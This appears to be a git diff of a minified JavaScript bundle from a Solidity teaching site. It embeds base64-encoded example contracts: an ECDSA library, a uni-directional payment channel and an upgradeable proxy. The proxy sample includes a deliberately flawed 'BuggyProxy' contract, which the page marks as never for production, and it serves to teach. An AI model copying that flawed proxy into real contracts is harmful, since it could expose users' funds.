CAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjc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2IHByaXZhdGUgY29uc3RhbnQgRFVSQVRJT04gPSA3ICogMjQgKiA2MCAqIDYwOwogICAgdWludDI1NiBwdWJsaWMgZXhwaXJlc0F0OwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgcGF5YWJsZSBfcmVjZWl2ZXIpIHBheWFibGUgewogICAgICAgIHJlcXVpcmUoX3JlY2VpdmVyICE9IGFkZHJlc3MoMCksICJyZWNlaXZlciA9IHplcm8gYWRkcmVzcyIpOwogICAgICAgIHNlbmRlciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICAgICAgcmVjZWl2ZXIgPSBfcmVjZWl2ZXI7CiAgICAgICAgZXhwaXJlc0F0ID0gYmxvY2sudGltZXN0YW1wICsgRFVSQVRJT047CiAgICB9CgogICAgZnVuY3Rpb24gX2dldEhhc2godWludDI1NiBfYW1vdW50KSBwcml2YXRlIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIC8vIE5PVEU6IHNpZ24gd2l0aCBhZGRyZXNzIG9mIHRoaXMgY29udHJhY3QgdG8gcHJvdGVjdCBhZ2FpbnN0CiAgICAgICAgLy8gcmVwbGF5IGF0dGFjayBvbiBvdGhlciBjb250cmFjdHMKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoYWRkcmVzcyh0aGlzKSwgX2Ftb3VudCkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEhhc2godWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4gX2dldEhhc2goX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gX2dldEV0aFNpZ25lZEhhc2godWludDI1NiBfYW1vdW50KQogICAgICAgIHByaXZhdGUKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4gX2dldEhhc2goX2Ftb3VudCkudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEV0aFNpZ25lZEhhc2godWludDI1NiBfYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJ5dGVzMzIpCiAgICB7CiAgICAgICAgcmV0dXJuIF9nZXRFdGhTaWduZWRIYXNoKF9hbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF92ZXJpZnkodWludDI1NiBfYW1vdW50LCBieXRlcyBtZW1vcnkgX3NpZykKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgcmV0dXJuIF9nZXRFdGhTaWduZWRIYXNoKF9hbW91bnQpLnJlY292ZXIoX3NpZykgPT0gc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIHZlcmlmeSh1aW50MjU2IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgcmV0dXJuIF92ZXJpZnkoX2Ftb3VudCwgX3NpZyk7CiAgICB9CgogICAgZnVuY3Rpb24gY2xvc2UodWludDI1NiBfYW1vdW50LCBieXRlcyBtZW1vcnkgX3NpZykgZXh0ZXJuYWwgZ3VhcmQgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSByZWNlaXZlciwgIiFyZWNlaXZlciIpOwogICAgICAgIHJlcXVpcmUoX3ZlcmlmeShfYW1vdW50LCBfc2lnKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IHJlY2VpdmVyLmNhbGx7dmFsdWU6IF9hbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgICAgIHNlbGZkZXN0cnVjdChzZW5kZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNhbmNlbCgpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gc2VuZGVyLCAiIXNlbmRlciIpOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID49IGV4cGlyZXNBdCwgIiFleHBpcmVkIik7CiAgICAgICAgc2VsZmRlc3RydWN0KHNlbmRlcik7CiAgICB9Cn0K"}],Uu=`

      Payment channels allow participants to repeatedly transfer Ether off chain.

      +`,Ju=({prev:s,next:a})=>r.jsx(A,{version:Hu,title:Ku,description:Fu,cyfrinLink:Mu,html:xu,prev:s,next:a,codes:Su}),zu="0.8.26",Du="Uni-Directional Payment Channel",Eu="An example of uni-directional payment channels in Solidity",Qu="https://www.cyfrin.io/glossary/unidirectional-payment-channel-solidity-code-example",Tu=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vd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lLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQ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kcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"UniDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29ud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jayBvbiBvdGhlciBjb250cmFjdHMKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoYWRkcmVzcyh0aGlzKSwgX2Ftb3VudCkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEhhc2godWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4gX2dldEhhc2goX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gX2dldEV0aFNpZ25lZEhhc2godWludDI1NiBfYW1vdW50KQogICAgICAgIHByaXZhdGUKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4gX2dldEhhc2goX2Ftb3VudCkudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEV0aFNpZ25lZEhhc2godWludDI1NiBfYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJ5dGVzMzIpCiAgICB7CiAgICAgICAgcmV0dXJuIF9nZXRFdGhTaWduZWRIYXNoKF9hbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF92ZXJpZnkodWludDI1NiBfYW1vdW50LCBieXRlcyBtZW1vcnkgX3NpZykKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgcmV0dXJuIF9nZXRFdGhTaWduZWRIYXNoKF9hbW91bnQpLnJlY292ZXIoX3NpZykgPT0gc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIHZlcmlmeSh1aW50MjU2IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgcmV0dXJuIF92ZXJpZnkoX2Ftb3VudCwgX3NpZyk7CiAgICB9CgogICAgZnVuY3Rpb24gY2xvc2UodWludDI1NiBfYW1vdW50LCBieXRlcyBtZW1vcnkgX3NpZykgZXh0ZXJuYWwgZ3VhcmQgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSByZWNlaXZlciwgIiFyZWNlaXZlciIpOwogICAgICAgIHJlcXVpcmUoX3ZlcmlmeShfYW1vdW50LCBfc2lnKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IHJlY2VpdmVyLmNhbGx7dmFsdWU6IF9hbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgICAgIHNlbGZkZXN0cnVjdChzZW5kZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNhbmNlbCgpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gc2VuZGVyLCAiIXNlbmRlciIpOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID49IGV4cGlyZXNBdCwgIiFleHBpcmVkIik7CiAgICAgICAgc2VsZmRlc3RydWN0KHNlbmRlcik7CiAgICB9Cn0K"}],Lu=`

      Payment channels allow participants to repeatedly transfer Ether off chain.

      Here is how this contract is used:

      • Alice deploys the contract, funding it with some Ether.
      • @@ -3219,7 +3219,7 @@ After a minimum waiting period, the transaction can be executed.

        ); } } -`,Lu=({prev:s,next:a})=>r.jsx(A,{version:zu,title:Du,description:Eu,cyfrinLink:Qu,html:Uu,prev:s,next:a,codes:Tu}),_u="0.8.26",Ou="Upgradeable Proxy",Pu="Example of upgradeable proxy",$u="https://www.cyfrin.io/glossary/upgradeable-proxy-solidity-code-example",qu=[{fileName:"UpgradeableProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4y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LgogICAgICAgICAgICAvLyByZXR1cm5kYXRhY29weSh0LCBmLCBzKSAtIGNvcHkgcyBieXRlcyBmcm9tIHJldHVybmRhdGEgYXQgcG9zaXRpb24gZiB0byBtZW0gYXQgcG9zaXRpb24gdAogICAgICAgICAgICAvLyByZXR1cm5kYXRhc2l6ZSgpIC0gc2l6ZSBvZiB0aGUgbGFzdCByZXR1cm5kYXRhCiAgICAgICAgICAgIHJldHVybmRhdGFjb3B5KDAsIDAsIHJldHVybmRhdGFzaXplKCkpCgogICAgICAgICAgICBzd2l0Y2ggcmVzdWx0CiAgICAgICAgICAgIC8vIGRlbGVnYXRlY2FsbCByZXR1cm5zIDAgb24gZXJyb3IuCiAgICAgICAgICAgIGNhc2UgMCB7CiAgICAgICAgICAgICAgICAvLyByZXZlcnQocCwgcykgLSBlbmQgZXhlY3V0aW9uLCByZXZlcnQgc3RhdGUgY2hhbmdlcywgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgICAgIHJldmVydCgwLCByZXR1cm5kYXRhc2l6ZSgpKQogICAgICAgICAgICB9CiAgICAgICAgICAgIGRlZmF1bHQgewogICAgICAgICAgICAgICAgLy8gcmV0dXJuKHAsIHMpIC0gZW5kIGV4ZWN1dGlvbiwgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgICAgIHJldHVybigwLCByZXR1cm5kYXRhc2l6ZSgpKQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIF9mYWxsYmFjaygpIHByaXZhdGUgewogICAgICAgIF9kZWxlZ2F0ZShfZ2V0SW1wbGVtZW50YXRpb24oKSk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBfZmFsbGJhY2soKTsKICAgIH0KCiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgX2ZhbGxiYWNrKCk7CiAgICB9Cn0KCmNvbnRyYWN0IFByb3h5QWRtaW4gewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gb3duZXIsICJub3Qgb3duZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldFByb3h5QWRtaW4oYWRkcmVzcyBwcm94eSkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKSB7CiAgICAgICAgKGJvb2wgb2ssIGJ5dGVzIG1lbW9yeSByZXMpID0KICAgICAgICAgICAgcHJveHkuc3RhdGljY2FsbChhYmkuZW5jb2RlQ2FsbChQcm94eS5hZG1pbiwgKCkpKTsKICAgICAgICByZXF1aXJlKG9rLCAiY2FsbCBmYWlsZWQiKTsKICAgICAgICByZXR1cm4gYWJpLmRlY29kZShyZXMsIChhZGRyZXNzKSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJveHlJbXBsZW1lbnRhdGlvbihhZGRyZXNzIHByb3h5KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGJvb2wgb2ssIGJ5dGVzIG1lbW9yeSByZXMpID0KICAgICAgICAgICAgcHJveHkuc3RhdGljY2FsbChhYmkuZW5jb2RlQ2FsbChQcm94eS5pbXBsZW1lbnRhdGlvbiwgKCkpKTsKICAgICAgICByZXF1aXJlKG9rLCAiY2FsbCBmYWlsZWQiKTsKICAgICAgICByZXR1cm4gYWJpLmRlY29kZShyZXMsIChhZGRyZXNzKSk7CiAgICB9CgogICAgZnVuY3Rpb24gY2hhbmdlUHJveHlBZG1pbihhZGRyZXNzIHBheWFibGUgcHJveHksIGFkZHJlc3MgYWRtaW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBvbmx5T3duZXIKICAgIHsKICAgICAgICBQcm94eShwcm94eSkuY2hhbmdlQWRtaW4oYWRtaW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIHVwZ3JhZGUoYWRkcmVzcyBwYXlhYmxlIHByb3h5LCBhZGRyZXNzIGltcGxlbWVudGF0aW9uKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgb25seU93bmVyCiAgICB7CiAgICAgICAgUHJveHkocHJveHkpLnVwZ3JhZGVUbyhpbXBsZW1lbnRhdGlvbik7CiAgICB9Cn0KCmxpYnJhcnkgU3RvcmFnZVNsb3QgewogICAgc3RydWN0IEFkZHJlc3NTbG90IHsKICAgICAgICBhZGRyZXNzIHZhbHVlOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEFkZHJlc3NTbG90KGJ5dGVzMzIgc2xvdCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChBZGRyZXNzU2xvdCBzdG9yYWdlIHIpCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICByLnNsb3QgOj0gc2xvdAogICAgICAgIH0KICAgIH0KfQoKY29udHJhY3QgVGVzdFNsb3QgewogICAgYnl0ZXMzMiBwdWJsaWMgY29uc3RhbnQgc2xvdCA9IGtlY2NhazI1NigiVEVTVF9TTE9UIik7CgogICAgZnVuY3Rpb24gZ2V0U2xvdCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIHJldHVybiBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChzbG90KS52YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiB3cml0ZVNsb3QoYWRkcmVzcyBfYWRkcikgZXh0ZXJuYWwgewogICAgICAgIFN0b3JhZ2VTbG90LmdldEFkZHJlc3NTbG90KHNsb3QpLnZhbHVlID0gX2FkZHI7CiAgICB9Cn0K"}],sy=`

        Example of upgradeable proxy contract. Never use this in production.

        +`,Uu=({prev:s,next:a})=>r.jsx(A,{version:zu,title:Du,description:Eu,cyfrinLink:Qu,html:Lu,prev:s,next:a,codes:Tu}),_u="0.8.26",Ou="Upgradeable Proxy",Pu="Example of upgradeable proxy",$u="https://www.cyfrin.io/glossary/upgradeable-proxy-solidity-code-example",qu=[{fileName:"UpgradeableProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIFRyYW5zcGFyZW50IHVwZ3JhZGVhYmxlIHByb3h5IHBhdHRlcm4KCmNvbnRyYWN0IENvdW50ZXJWMSB7CiAgICB1aW50MjU2IHB1YmxpYyBjb3VudDsKCiAgICBmdW5jdGlvbiBpbmMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgKz0gMTsKICAgIH0KfQoKY29udHJhY3QgQ291bnRlclYyIHsKICAgIHVpbnQyNTYgcHVibGljIGNvdW50OwoKICAgIGZ1bmN0aW9uIGluYygpIGV4dGVybmFsIHsKICAgICAgICBjb3VudCArPSAxOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlYygpIGV4dGVybmFsIHsKICAgICAgICBjb3VudCAtPSAxOwogICAgfQp9Cgpjb250cmFjdCBCdWdneVByb3h5IHsKICAgIGFkZHJlc3MgcHVibGljIGltcGxlbWVudGF0aW9uOwogICAgYWRkcmVzcyBwdWJsaWMgYWRtaW47CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgYWRtaW4gPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIF9kZWxlZ2F0ZSgpIHByaXZhdGUgewogICAgICAgIChib29sIG9rLCkgPSBpbXBsZW1lbnRhdGlvbi5kZWxlZ2F0ZWNhbGwobXNnLmRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJkZWxlZ2F0ZWNhbGwgZmFpbGVkIik7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbC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UpKQogICAgICAgICAgICAvLyAtIHJldHVybmluZyAwIG9uIGVycm9yIChlZy4gb3V0IG9mIGdhcykgYW5kIDEgb24gc3VjY2VzcwogICAgICAgICAgICBsZXQgcmVzdWx0IDo9CiAgICAgICAgICAgICAgICBkZWxlZ2F0ZWNhbGwoZ2FzKCksIF9pbXBsZW1lbnRhdGlvbiwgMCwgY2FsbGRhdGFzaXplKCksIDAsIDApCgogICAgICAgICAgICAvLyBDb3B5IHRoZSByZXR1cm5lZCBkYXRhLgogICAgICAgICAgICAvLyByZXR1cm5kYXRhY29weSh0LCBmLCBzKSAtIGNvcHkgcyBieXRlcyBmcm9tIHJldHVybmRhdGEgYXQgcG9zaXRpb24gZiB0byBtZW0gYXQgcG9zaXRpb24gdAogICAgICAgICAgICAvLyByZXR1cm5kYXRhc2l6ZSgpIC0gc2l6ZSBvZiB0aGUgbGFzdCByZXR1cm5kYXRhCiAgICAgICAgICAgIHJldHVybmRhdGFjb3B5KDAsIDAsIHJldHVybmRhdGFzaXplKCkpCgogICAgICAgICAgICBzd2l0Y2ggcmVzdWx0CiAgICAgICAgICAgIC8vIGRlbGVnYXRlY2FsbCByZXR1cm5zIDAgb24gZXJyb3IuCiAgICAgICAgICAgIGNhc2UgMCB7CiAgICAgICAgICAgICAgICAvLyByZXZlcnQocCwgcykgLSBlbmQgZXhlY3V0aW9uLCB